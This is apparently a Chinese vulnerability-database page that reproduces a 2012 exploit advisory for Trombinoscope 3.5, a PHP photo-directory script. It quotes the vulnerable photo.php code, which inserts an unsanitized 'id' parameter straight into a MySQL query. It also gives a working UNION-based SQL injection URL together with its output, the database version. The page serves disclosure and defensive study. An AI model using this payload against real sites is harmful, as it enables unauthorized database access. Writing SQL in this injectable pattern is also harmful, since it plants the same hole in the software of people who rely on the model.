Trombinoscope 3.5 SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047546 漏洞类型
发布时间 2012-05-06 更新时间 2012-05-06
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012050049
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
<~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~>
 Exploit Title: Trombinoscope <= 3.5 SQL Injection Vulnerability
 Date: 03 Mei 2012
 Author: Ramdan Yantu
 Home: http://ramdanyantu.com/
 Software Link:
 http://ftp1.toocharger.com/sc2MP3p/trombinoscope_4116.zip
<~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~><~>

 Bugs <photo.php>:

[...]
25 <?php
26 $id = $_GET["id"];
27
28 $query_seul = "SELECT `pseudo`, `sexe`, `img` FROM `trombino` WHERE idx = $id";
29 $seul = mysql_query($query_seul) or die(mysql_error());
30 $row_seul = mysql_fetch_assoc($seul);
31
32 ?>
[...]

 Exploit: http://localhost/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()--
 Result : 5.0.51b-community-nt-log